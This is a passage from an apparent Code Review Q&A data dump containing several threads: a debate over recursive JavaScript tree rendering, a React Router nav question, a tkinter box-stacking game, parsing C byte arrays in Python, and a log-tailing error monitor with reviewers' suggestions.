"man, although your code is cleaner, its wayyy harder to follow the logic, partly due to the fact that the names youve chosen for your nested functions are misnomers in certain contexts" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-12T22:57:25.670", "Id": "453523", "Score": "0", "body": "and theres issues using your code because it treats the top level folders no differently than children folders" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T04:14:51.093", "Id": "453536", "Score": "0", "body": "I can't agree. The code became so simple compared to the original spaghetti with side effects that \"way harder\" is an obvious exaggeration. The rest of your comments feels like a needless nitpicking and exaggeration as well. As for the \"it treats the top level folders no differently\", even without seeing the actual data I can't agree as it doesn't render the node name of the root which in my understanding was the entire point of the question. Anyway, this code was an example." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T04:17:43.057", "Id": "453537", "Score": "0", "body": "As for \"why not make the function asynchronous?\", there's no need. Even if you declare it with `async`, the function won't magically become asynchronous, instead it'll be always returning a resolved `Promise`, which makes no point, unless you want to confuse other people reading the code, of course." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T04:32:59.790", "Id": "453538", "Score": "0", "body": "I guess we disagree because you like the imperative algorithmic approach. My answer tried to demonstrate a more modern approach where each function is a simple block so its internal logic is easy to understand, debug, and maintain. These blocks have no side effects so at each point in the call hierarchy we are able to see the logic of this layer and predict the result even without diving in the called functions." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T05:52:31.407", "Id": "453542", "Score": "0", "body": "yeah of course its easier to understand each internal function block of code, but its so much more difficult to understand the overall flow of things. its recursion is incredibly messy and confusing. for instance, youre appending children in one function that are returned from another function, and then youre also appending children in a different function that are returned from yet another function. its literally all over the place." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T05:53:26.287", "Id": "453543", "Score": "0", "body": "i mean, the way its written may be good if thats all the function was being used for, but once you start adding additional logic, it becomes clear theres no rhyme to the segregation/recursion at all." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T06:08:45.913", "Id": "453549", "Score": "0", "body": "For me it's the opposite. The new code is way clearer, more straightforward, more obvious, the functions are used in an obvious fashion, the naming is obvious, etc. The original code for me was messy and spaghetti-like and it took a while to decode it. We can just agree to disagree." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T06:10:01.263", "Id": "453550", "Score": "0", "body": "Actually, I don't see how my answer is helpful to you at all so it might be better if I just delete it." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T06:15:03.953", "Id": "453551", "Score": "0", "body": "Er, I can agree traverseTree is the wrong name though, but I've kept it because it was yours :-)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T07:29:07.727", "Id": "453559", "Score": "0", "body": "like i said its definitely clearer in some ways, but unclearer in other. `renderKids` should be called `appendBranch` and `traverseTree` maybe something like `appendBranchOrLeaf`. its hard to name them because they share such similar functionality, so much so that u would expect them to be grouped together in the same function or something" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T07:41:56.430", "Id": "453561", "Score": "0", "body": "\"they share such similar functionality\" everything here is similar because it works on the same data, but it doesn't mean we should lump everything together. Naming preferences aside, the functions in the new code correspond to the hierarchy of the data and the output, which is why it's so much easier to understand for me. P.S. Even more so if the `for` loop is replaced with `ul.append(...kids.map(traverseTree))` which I didn't use only to preserve more bits of the original code." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T21:08:12.747", "Id": "453684", "Score": "0", "body": "ok then we can agree to disagree. thanks for sharing your perspective nonetheless" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T22:22:15.823", "Id": "453691", "Score": "0", "body": "it may just be due to my inexperience with recursion/this sort of thing." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-14T04:11:25.630", "Id": "453705", "Score": "0", "body": "My code isn't ultimate/ideal either, consider it a hint to use simple functions as building blocks and see if you can rework your real code along the suggested lines." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-16T05:47:26.513", "Id": "454002", "Score": "0", "body": "yeah thats exactly what im doing. i think youre right that chopping the code up like that generally makes the code a lot easier to read. its becoming easier and easier to read the more i work with it, and as i said before its so much easier to read the little chunks of code and understand whats happening. can you tag me in your responses so that i get notified?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-16T05:53:56.857", "Id": "454003", "Score": "0", "body": "you want to see what im working with now (i.e. how ive built upon your code according to your advice) and maybe you can spot some ways i can further improve it? theres still a lot more logic i have to add to it over the coming days, so better to make adjustments right from the start instead of going back :)" } ], "meta_data": { "CommentCount": "19", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T16:35:33.547", "Id": "232069", "ParentId": "232037", "Score": "3" } } ]
{ "AcceptedAnswerId": "232069", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T00:05:09.287", "Id": "232037", "Score": "1", "Tags": [ "javascript", "recursion", "tree", "json", "promise" ], "Title": "Don't include root directory in HTML tree" }
232037
<p>Here I am trying to simplify my bootstrap name using dot notation, but I'm having lots of issues getting my nav to render different pages.</p> <ul> <li>Am I setting my routes properly?</li> <li>Am I setting the switch properly?</li> <li>Am I setting the <code>Link</code> properly?</li> </ul> <p>I found most of my information <a href="https://blog.pshrmn.com/simple-react-router-v4-tutorial/" rel="nofollow noreferrer">here</a>. I tried bringing in a switch on the <code>App.js</code> to help, and I tried bringing in a</p> <h1>HeaderNav</h1> <pre><code>import React from "react"; import Nav from "react-bootstrap/Nav"; import { Link } from 'react-router-dom' export default class HeaderNavigation extends React.Component { render() { return ( &lt;&gt; &lt;Nav activeKey="/home" onSelect={selectedKey =&gt; alert(`selected ${selectedKey}`)} &gt; &lt;Nav.Item&gt; &lt;Nav&gt; &lt;Link to "/home"&gt;home&lt;/Link&gt; Active &lt;/Nav&gt; &lt;/Nav.Item&gt; &lt;Nav.Item&gt; &lt;Nav.Link eventKey="link-1"&gt;Link&lt;/Nav.Link&gt; &lt;/Nav.Item&gt; &lt;Nav.Item&gt; &lt;Nav.Link eventKey="link-2"&gt;Link&lt;/Nav.Link&gt; &lt;/Nav.Item&gt; &lt;Nav.Item&gt; &lt;Nav.Link eventKey="disabled" disabled&gt; Disabled &lt;/Nav.Link&gt; &lt;/Nav.Item&gt; &lt;/Nav&gt; &lt;/&gt; ); } } </code></pre> <h1>main.js</h1> <pre><code>import React from "react"; import { Switch, Route } from "react-router-dom"; import Home from "./Home"; import Roster from "./Roster"; import Schedule from "./Schedule"; // The Main component renders one of the three provided // Routes (provided that one matches). Both the /roster // and /schedule routes will match any pathname that starts // with /roster or /schedule. The / route will only match // when the pathname is exactly the string "/" const Main = () =&gt; ( &lt;main&gt; &lt;Switch&gt; &lt;Route exact path="/home" component={Home} /&gt; &lt;Route path="/about" component={Roster} /&gt; &lt;Route path="/more" component={Schedule} /&gt; &lt;/Switch&gt; &lt;/main&gt; ); export default Main; import React from "react"; import Jumbotron from "react-bootstrap/Jumbotron"; import main from "./src/main"; </code></pre> <h1>App.js</h1> <pre><code> / Importing the Bootstrap CSS import "bootstrap/dist/css/bootstrap.min.css"; import "./App.css"; import HeaderNavigation from "../src/HeaderNavigation"; import Form from "../src/Form"; import Body from "../src/Body"; const App = () =&gt; ( &lt;&gt; &lt;&gt; &lt;HeaderNavigation className="body" /&gt; &lt;Main /&gt; &lt;/&gt; &lt;Jumbotron fluid&gt; &lt;h1 className="header"&gt;Welcome To React-Bootstrap&lt;/h1&gt; &lt;/Jumbotron&gt; &lt;Jumbotron fluid&gt; &lt;Form className="header" /&gt; &lt;/Jumbotron&gt; &lt;Body className="body" /&gt; &lt;/&gt; ); export default App; </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T06:45:24.723", "Id": "232043", "Score": "2", "Tags": [ "javascript", "react.js" ], "Title": "Nav using dot notation with react" }
232043
<p>I created this game inspired by this problem: <a href="https://www.codechef.com/ZCOPRAC/problems/ZCO14001" rel="nofollow noreferrer">https://www.codechef.com/ZCOPRAC/problems/ZCO14001</a> </p> <p>The problem needs you create a machine that can lift boxes and drop them in a new column. Then, when the problem asks you to, you have to print how many boxes are in every column. </p> <p>I tried to improvise it and make it as as interesting and interactive as possible, but it's a bit too long, and also might contain bugs. How do I make it shorter? </p> <p>It provides you a controller with tkinter buttons. </p> <p>Here's the code:</p> <pre><code>from os import system from tkinter import * cls = lambda: system('cls') class VideoGame: def __init__(self, rows, columns, stacks): self.stacks = stacks self.rows = rows self.columns = columns self.cur_column = 0 self.box_in_hand = False self.commands = {'1': self.move_left, '2': self.move_right, '3': self.pick_up_box, '4': self.drop_box, '5': self.add_row, '6': self.add_column, '7': self.del_row, '8': self.del_column, '9': self.fill_all, '10': self.remove_all } def command_parser(self, command): cls() self.commands[command]() self.print() def move_left(self): if self.cur_column &lt; 0: print(f'\nNo place to move left\n') return self.cur_column -= 1 def move_right(self): if self.cur_column &gt;= self.rows: print(f'\nNo place to move right\n') return self.cur_column += 1 def pick_up_box(self): if self.box_in_hand: print('\nAlready have a box in hand\n') return if self.cur_column == -1: self.add_box() return if self.cur_column &gt;= self.rows: print('\nCan\'t pick up box from ()\n') return if self.stacks[self.cur_column] == 0: print(f'\nNo box to pick up in row {self.cur_column + 1}\n') return self.stacks[self.cur_column] -= 1 self.box_in_hand = True def drop_box(self): if not self.box_in_hand: print('\nDon\'t have a box in hand\n') return if self.cur_column == self.rows: self.remove_box() return if self.cur_column &lt; 0: print('\nCan\'t drop box to {}\n') return if self.stacks[self.cur_column] == self.columns: print(f'\nMax stack reached in row {self.cur_column + 1}\n') return self.stacks[self.cur_column] += 1 self.box_in_hand = False def print(self): print() s1 = list('--') + list('--' * self.rows) + list('-') s2 = list(' ') + list(' ' * self.rows) + list(' ' * 3) s1[self.cur_column * 2 + 2] = 'O' s2[self.cur_column * 2 + 2] = 'C' if self.box_in_hand: s2[self.cur_column * 2 + 3] = '[' s2[self.cur_column * 2 + 4] = ']' print(''.join(s1)) print(''.join(s2)) print() for i in range(self.columns, 0, -1): print(end=' ') for j in range(self.rows): if self.stacks[j] &gt;= i: print('[]', end='') else: print(' ', end='') print() print('{}' + ' ' * self.rows + '()') print() def add_column(self): self.columns += 1 def add_row(self): self.rows += 1 self.stacks.append(0) def del_row(self): self.rows = max(0, self.rows - 1) self.stacks = self.stacks[:-1] self.cur_column = min(self.rows, self.cur_column) def del_column(self): self.columns = max(0, self.columns - 1) self.stacks = [min(i, self.columns) for i in self.stacks] def add_box(self): self.box_in_hand = True def remove_box(self): self.box_in_hand = False def fill_all(self): self.stacks = [self.columns] * self.rows def remove_all(self): self.stacks = [0] * self.rows def parser(arr): return (list(map(lambda x: max(int(min(int(x), r)), 0), arr)) + [0] * r)[:r] print('{} - Pick up box to create box\n' '() - Drop box to delete box\n') while True: tk = Tk() r = int(input('Enter number of rows: ')) c = int(input('Enter number of columns: ')) s = parser(input(f'Enter {r} spaced integers all less than or equal to {c}: ').split()) cls() game = VideoGame(r, c, s) game.print() Button(tk, text='Enter Command', width=20, command=None).grid(row=0, column=0, columnspan=2) Button(tk, text='Move Left', width=10, command=lambda: game.command_parser('1')).grid(row=2, column=0) Button(tk, text='Move Right', width=10, command=lambda: game.command_parser('2')).grid(row=2, column=1) Button(tk, text='Pick Box', width=10, command=lambda: game.command_parser('3')).grid(row=3, column=0) Button(tk, text='Drop Box', width=10, command=lambda: game.command_parser('4')).grid(row=3, column=1) Button(tk, text='Add Row', width=10, command=lambda: game.command_parser('5')).grid(row=4, column=0) Button(tk, text='Add Column', width=10, command=lambda: game.command_parser('6')).grid(row=4, column=1) Button(tk, text='Del Row', width=10, command=lambda: game.command_parser('7')).grid(row=5, column=0) Button(tk, text='Del Column', width=10, command=lambda: game.command_parser('8')).grid(row=5, column=1) Button(tk, text='Fill All', width=10, command=lambda: game.command_parser('9')).grid(row=6, column=0) Button(tk, text='Remove All', width=10, command=lambda: game.command_parser('10')).grid(row=6, column=1) Button(tk, text='Row Size', width=10, command=lambda: print('Number of rows =', game.rows)).grid(row=7, column=0) Button(tk, text='Column Size', width=10, command=lambda: print('Number of columns =',game.columns)).grid(row=7, column=1) Button(tk, text='Quit', width=5, command=lambda: tk.destroy()).grid(row=8, column=0, columnspan=2) tk.mainloop() cls() </code></pre> <p>How do I make my code shorter and easier to read?<br> Also, tips for making the code more interactive are welcome!</p> <p>Thank you for your help!</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T08:31:09.427", "Id": "452907", "Score": "0", "body": "Please include a short description of what the game is about. Links can rot." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T08:54:24.353", "Id": "452908", "Score": "0", "body": "Sure, I've edited the question accordingly, and also provided the link." } ]
[ { "body": "<p>I don't have enough reputation to add comments in this stack site. So I'll leave my thoughts in an answer.</p>\n\n<p>Something that really caught my eye was that you are overloading Pythons print() function.\nSure you <strong>CAN</strong> do that, but <strong>SHOULD</strong> you do really do that? I get what you are trying to do, but I would just make a new function of it instead. Also, there are a lot of code that can break in there, I suggest some error handling.</p>\n\n<p>Your drop_box and pick_up_box functions have a lot of returns, but none of them returns anything. I would have used 'elif' and a final 'else' instead.</p>\n\n<p>The function 'fill_all' should be renamed to 'fill_all_stacks'.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T13:13:15.377", "Id": "232060", "ParentId": "232049", "Score": "3" } } ]
{ "AcceptedAnswerId": "232060", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T08:04:54.783", "Id": "232049", "Score": "3", "Tags": [ "python", "python-3.x", "game" ], "Title": "Video Game using tkinter" }
232049
<p>I'm reading a file with the following data,</p> <pre><code>char peer0_3[] = { /* Packet 647 */ 0x02, 0x00, 0x04, 0x00, 0x11, 0x01, 0x06, 0x1b, 0x04, 0x01, 0x31, 0x0a, 0x32, 0x30, 0x31, 0x39, 0x2d, 0x30, 0x36, 0x2d, 0x31, 0x30, 0x0a, 0x32, 0x30, 0x31, 0x39, 0x2d, 0x30, 0x36, 0x2d, 0x31, 0x30, 0x01, 0x30 }; </code></pre> <p>with the following code, to get this 'C' text in a python list</p> <pre><code>f=open(thisFile,'r') contents=f.read() tcontents=re.sub('\/\*.*\*\/','',contents).replace('\n', '').strip() #suppress the comments xcontents = re.findall("{(.+?)};", tcontents, re.S) #find the arrays frames=[] for item in xcontents: splitData =item.split(',') buff=bytes() for item in splitData: packed = struct.pack("B", int(item,0) ) buff+=packed frames.append(buff) </code></pre> <p>That's working fine, but I was wondering if there was not a smarter and more compact method?</p>
[]
[ { "body": "<p>A more maintainable way would be to look up a parsing package like <a href=\"https://pyparsing-docs.readthedocs.io/en/latest/\" rel=\"noreferrer\">PyParsing</a>. Else, don't forget to put spaces around operators </p>\n\n<ul>\n<li>from <code>buff+=packed</code> to <code>buff += packed</code> and </li>\n<li>from <code>splitData =item.split(',')</code> to <code>splitData = item.split(',')</code>. You can also read files as</li>\n</ul>\n\n<pre><code>with open(thisFile) as f:\n contents = f.read()\n</code></pre>\n\n<p>Not specifiying any mode assumes read mode (<code>'r'</code>)</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T14:12:45.957", "Id": "452945", "Score": "1", "body": "Hello Abdur-Rahmaan , thanks for your comment, I will have a look at PyParsing. I didn't know spaces around operators were important, thank you very much." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T14:16:18.550", "Id": "452946", "Score": "2", "body": "@Harvey The spaces form part of the PEP8's style guide: https://www.python.org/dev/peps/pep-0008/ . These make your code a lot more elegent!" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T13:52:18.827", "Id": "232061", "ParentId": "232057", "Score": "5" } }, { "body": "<ul>\n<li>You open your file but never close it, please use the <a href=\"https://docs.python.org/3/reference/compound_stmts.html#the-with-statement\" rel=\"noreferrer\"><code>with</code></a> statement to manage you files life automatically;</li>\n<li>You don't need <code>struct</code> to convert an <code>int</code> to a single <code>byte</code>: you can use the <a href=\"https://docs.python.org/3/library/stdtypes.html#int.to_bytes\" rel=\"noreferrer\"><code>int.to_bytes</code></a> method instead;</li>\n<li><code>frames = []; for item in xcontent: frames.append(…transform…(item))</code> cries for a list-comprehension instead; same for <code>buff = bytes(); for item in splitData: buff += …change…(item)</code>: use <a href=\"https://docs.python.org/3/library/stdtypes.html#bytes.join\" rel=\"noreferrer\"><code>b''.join</code></a>;</li>\n<li>You shouldn't need to search for delimiters and comments using your regex since all you are interested in are the hexadecimal numbers (<code>r'0x\\d{2}'</code>), but this would require a little bit of preprocessing to extract \"logical lines\" from the C code;</li>\n<li>You shouldn't need to read the whole file at once. Instead, reading it line by line and processing only the handful of lines corresponding to a single expression at once would help getting rid of the \"search for delimiters\" regex.</li>\n</ul>\n\n<p>Proposed improvements:</p>\n\n<pre><code>import re\n\n\nHEX_BYTE = re.compile(r'0x\\d{2}')\n\n\ndef find_array_line(file_object):\n \"\"\"\n Yield a block of lines from an opened file, stopping\n when the last line ends with a semicolon.\n \"\"\"\n for line in file_object:\n line = line.strip()\n yield line\n # In Python 3.8 you can merge the previous 2 lines into\n # yield (line := line.strip())\n if line.endswith(';'):\n break\n\n\ndef read_array_line(filename):\n \"\"\"\n Yield blocks of lines in the file named filename as a\n single string each.\n \"\"\"\n with open(filename) as source_file:\n while True:\n line = ''.join(find_array_line(source_file))\n if not line:\n break\n yield line\n # In Python 3.8 you can write the loop\n # while line := ''.join(find_array_line(source_file)):\n # yield line\n\n\ndef convert_arrays(filename):\n \"\"\"\n Consider each block of lines in the file named filename\n as an array and yield them as a single bytes object each.\n \"\"\"\n for line in read_array_line(filename):\n yield b''.join(\n int(match.group(), 0).to_bytes(1, 'big')\n for match in HEX_BYTE.finditer(line))\n\n\nif __name__ == '__main__':\n print(list(convert_arrays('c_like_code.txt')))\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T20:18:11.400", "Id": "453097", "Score": "0", "body": "That will work if a semicolon or a hexadecimal number never appears in a comment…" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-11T09:05:32.697", "Id": "453225", "Score": "0", "body": "@CiaPan semicolons are a problem only when they are at the end of a line (thus in a `//` comment); but yes, this is not a parser, I'm just taking advantage of (and assuming) highly regular input." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T16:14:14.133", "Id": "232068", "ParentId": "232057", "Score": "7" } }, { "body": "<p>I think this can be done a lot more concisely. You need a function to recognize bytes until the end of the array, one to convert them to integers and one to pull it all together:</p>\n\n<pre><code>def get_bytes(f):\n for line in f:\n yield from re.findall(r'0x\\d{2}', line)\n if line.rstrip().endswith(\";\"):\n break\n\ndef convert_str_to_bytes(s):\n return int(s, 0).to_bytes(1, 'big')\n\ndef convert_arrays(file_name):\n with open(file_name) as f:\n while True:\n arr = b''.join(map(convert_str_to_bytes, get_bytes(f)))\n if arr:\n yield arr\n else:\n return\n\nif __name__ == \"__main__\":\n print(list(convert_arrays('c_like_code.txt')))\n # [b'\\x02\\x00\\x04\\x00\\x11\\x01\\x06\\x04\\x0112019061020190610\\x010']\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T19:13:10.760", "Id": "452977", "Score": "1", "body": "Damn you're bloody right, we don't need to bother about lines at all… Well, let's nitpick then that if your `get_bytes` only strips the line to check for the end character, you can `rstrip()` instead ;)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T21:34:01.393", "Id": "453000", "Score": "1", "body": "I tried to edit this - typo on 'convert_arrays' vs. 'convert_array' - but couldn't. Heads-up." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T21:43:57.027", "Id": "453002", "Score": "1", "body": "@ToddMinehardt Fixed" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T21:02:28.263", "Id": "453101", "Score": "3", "body": "This isn't really more concise than the OP's code." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T18:14:17.937", "Id": "232072", "ParentId": "232057", "Score": "9" } }, { "body": "<p>Since someone else already mentioned pyparsing, here is an annotated parser for your C code:</p>\n\n<pre><code>c_source = \"\"\"\nchar peer0_3[] = { /* Packet 647 */\n0x02, 0x00, 0x04, 0x00, 0x11, 0x01, 0x06, 0x1b,\n0x04, 0x01, 0x31, 0x0a, 0x32, 0x30, 0x31, 0x39,\n0x2d, 0x30, 0x36, 0x2d, 0x31, 0x30, 0x0a, 0x32,\n0x30, 0x31, 0x39, 0x2d, 0x30, 0x36, 0x2d, 0x31,\n0x30, 0x01, 0x30 };\n\"\"\"\n\nimport pyparsing as pp\nppc = pp.pyparsing_common\n\n# normally string literals are added to the parsed output, but here anything that is just\n# added to the parser as a string, we will want suppressed\npp.ParserElement.inlineLiteralsUsing(pp.Suppress)\n\n# pyparsing already includes a definition for a hex_integer, including parse-time\n# conversion to int\nhexnum = \"0x\" + ppc.hex_integer\n\n# pyparsing also defines a helper for elements that are in a delimited list (with ',' \n# as the default delimiter)\nhexnumlist = pp.delimitedList(hexnum)\n\n# build up a parser, and add names for the significant parts, so we can get at them easily\n# post-parsing\n# pyparsing will skip over whitespace that may appear between any of these expressions\ndecl_expr = (\"char\"\n + ppc.identifier(\"name\")\n + \"[]\" + \"=\" + \"{\" \n + hexnumlist(\"bytes\") \n + \"}\" + \";\")\n\n# ignore pesky comments, which can show up anywhere\ndecl_expr.ignore(pp.cStyleComment)\n\n# try it out\nresult = decl_expr.parseString(c_source)\nprint(result.dump())\nprint(result.name)\nprint(result.bytes)\n</code></pre>\n\n<p>Prints</p>\n\n<pre><code>['peer0_3', 2, 0, 4, 0, 17, 1, 6, 27, 4, 1, 49, 10, 50, 48, 49, 57, 45, 48, 54, 45, 49, 48, 10, 50, 48, 49, 57, 45, 48, 54, 45, 49, 48, 1, 48]\n- bytes: [2, 0, 4, 0, 17, 1, 6, 27, 4, 1, 49, 10, 50, 48, 49, 57, 45, 48, 54, 45, 49, 48, 10, 50, 48, 49, 57, 45, 48, 54, 45, 49, 48, 1, 48]\n- name: 'peer0_3'\npeer0_3\n[2, 0, 4, 0, 17, 1, 6, 27, 4, 1, 49, 10, 50, 48, 49, 57, 45, 48, 54, 45, 49, 48, 10, 50, 48, 49, 57, 45, 48, 54, 45, 49, 48, 1, 48]\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-14T02:49:04.980", "Id": "232363", "ParentId": "232057", "Score": "0" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T12:14:02.777", "Id": "232057", "Score": "12", "Tags": [ "python", "parsing" ], "Title": "Parsing C-like code to extract info" }
232057
<p>The purpose of this cluster of functions is to tail the log file and kill/restart processes from shell (the latter is not yet implemented).</p> <pre><code>import sys import time import datetime import os import re def read_log(f): """ Basically tail -f """ logfile = open(f) logfile.seek(0, os.SEEK_END) while True: new_line = logfile.readline() if new_line: yield new_line else: time.sleep(0.1) def find_error(line, base_time, line_time): """ Search for ERROR keyword in log line. Return True if found, False if not. """ match = re.search('.*ERROR.*', line) if match and line_time &lt; base_time: return True return False def parse_time(line): """ Parse string to datetime """ date_regex = r'\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}' date_string = re.search(date_regex, line).group(0) return datetime.datetime.strptime(date_string, "%Y-%m-%d %H:%M:%S") def increase_base_time(line_time): """ Return a datetime that is line_time plus one minute """ return line_time + datetime.timedelta(minutes=1) def monitor(filename): """ Read from a log file. For each line check if log line time is later than base comparison time. If so, update the base time and set error count to 0. Check for errors in line. Increment error count if any are found. Check the total error count. If it's greater than five, restart the logged process. Check if process has been restarted before. If so, kill the logged process. """ count = 0 base_time = datetime.datetime.min log = read_log(filename) restarted = False for line in log: line_time = parse_time(line) if line_time &gt; base_time: base_time = increase_base_time(line_time) count = 0 if find_error(line, base_time, line_time): count += 1 if count &gt;= 5: if restarted: print("Kill the process") # A placeholder, sorry else: print("Restart the process") # Also a placeholder, sorry count = 0 restarted = True monitor(sys.argv[1]) </code></pre> <p>There are a lot of if-statement for doing checks. I thought about making this class based, but it really doesn't make sense to do it (functions don't need to share states and it is a rather small program). Is the number of if's acceptable? How could I refactor the code to make it flow a bit better?</p> <p>EDIT: As this was brought up, is it necessary that the tailing function would be non blocking? As I understand I wont be doing nothing until a line is yielded. What would be the benefits of going one way or the other?</p>
[]
[ { "body": "<p>Using regex for such a simple task as finding if a line contains a string is not worth it. The built-in <code>str.__contains__</code>, being called by the keyword <code>in</code> is faster in this case.</p>\n\n<p>Here are some worst case (i.e. a string that does not contain the string <code>\"ERROR\"</code>) timings for the two functions:</p>\n\n<pre><code>import re\n\ndef using_in(s):\n return \"ERROR\" in s\n\ndef using_re(s):\n return bool(re.search('.*ERROR.*', s))\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/gwbu5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gwbu5.png\" alt=\"enter image description here\"></a></p>\n\n<p>Using <code>re</code> is always slower in this case. It does, of course, have its uses for more complex patterns. Note that the <code>re</code> module also compiles the regex automatically (and caches it), so that is not a way to make it faster in this case, since it is always the same regex being used.</p>\n\n<p>Let's just hope your lines are less than 10,000 characters long.</p>\n\n<hr>\n\n<p>In general, I think you still have to find a good balance between not having enough functions and having too many. IMO, instead of having a <code>increase_base_time</code> function, I would have a global constant and inline the call:</p>\n\n<pre><code>INCREMENT = datetime.timedelta(minutes=1)\n\n...\n\nfor line in log:\n ...\n if line_time &gt; base_time:\n base_time = line_time + INCREMENT\n ...\n</code></pre>\n\n<hr>\n\n<p>If <code>read_log</code> is a <code>tail -f</code> equivalent, you could just call it <code>tail_f</code>. In any case, I would make the sleep time an optional parameter.</p>\n\n<p>Note that your function does not ensure that the file is properly closed, which might cause issues. You should always use the <code>with</code> keyword to avoid this.</p>\n\n<pre><code>def read_log(f, sleep=0.1):\n \"\"\"\n Basically tail -f with a configurable sleep\n \"\"\"\n with open(f) as logfile:\n logfile.seek(0, os.SEEK_END)\n while True:\n new_line = logfile.readline()\n if new_line:\n yield new_line\n else:\n time.sleep(sleep)\n</code></pre>\n\n<p>This way the file is closed even if the user presses <kbd>Ctrl</kbd>+<kbd>C</kbd>.</p>\n\n<hr>\n\n<p>You should only call your function under a <a href=\"http://stackoverflow.com/questions/419163/what-does-if-name-main-do\"><code>if __name__ == \"__main__\":</code> guard</a> to allow importing from this script without it (trying and failing to) run:</p>\n\n<pre><code>if __name__ == \"__main__\":\n monitor(sys.argv[1])\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T15:46:01.183", "Id": "452952", "Score": "2", "body": "No `with open(f) as logfile:` for file handling ?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T15:51:41.603", "Id": "452954", "Score": "1", "body": "Dunno where you live, but over here it's 5 PM on a friday. It happens *shrug*" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T15:52:34.100", "Id": "452956", "Score": "2", "body": "@Gloweye It is here as well. And just before the friday beer. I blame it on that." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T17:02:25.900", "Id": "452963", "Score": "2", "body": "I wonder if calling `select.select([logfile], [], [])` would work and be better than this ugly `sleep`…" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T17:12:28.647", "Id": "452965", "Score": "1", "body": "@409_Conflict I did not know `select`, but it seems like you would at least lose portability to Windows. Since I don't have a clue about it, maybe you should add an answer with this?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T17:22:37.587", "Id": "452967", "Score": "1", "body": "@Graipher Nice catch with the portability. But since it is `trail -f` I assumed Linux anyway." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T17:26:51.640", "Id": "452968", "Score": "1", "body": "Also re regex timings, wouldn't it make sense to try and time `re.search('.*?ERROR.*')` instead?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T17:29:47.317", "Id": "452969", "Score": "1", "body": "@409_Conflict It might, if the OP has more knowledge of the structure, it should of course be included in the pattern. But I just copied it directly from the OP. In any case, it is a worst case timing, i.e. the string/pattern does not appear at all. So it just times the time it takes to scan the whole string for the pattern." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T17:34:01.380", "Id": "452970", "Score": "1", "body": "@409_Conflict Just tried it, it is even slower, by about a factor 10." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T17:48:50.450", "Id": "452971", "Score": "2", "body": "Lol, guess I will never fully understand backtracking then." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T19:39:08.907", "Id": "453094", "Score": "0", "body": "Thank you for the comments. I really hadn't thought about closing the file (since I assumed it will be opened all the time). I guess I went wit `re` so that the project could handle more complex searches. I think I need to rethink what am I trying to look for." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-10T17:58:59.760", "Id": "453169", "Score": "1", "body": "Well nevermind, select won't work as the file is always ready for reading (even though it's only 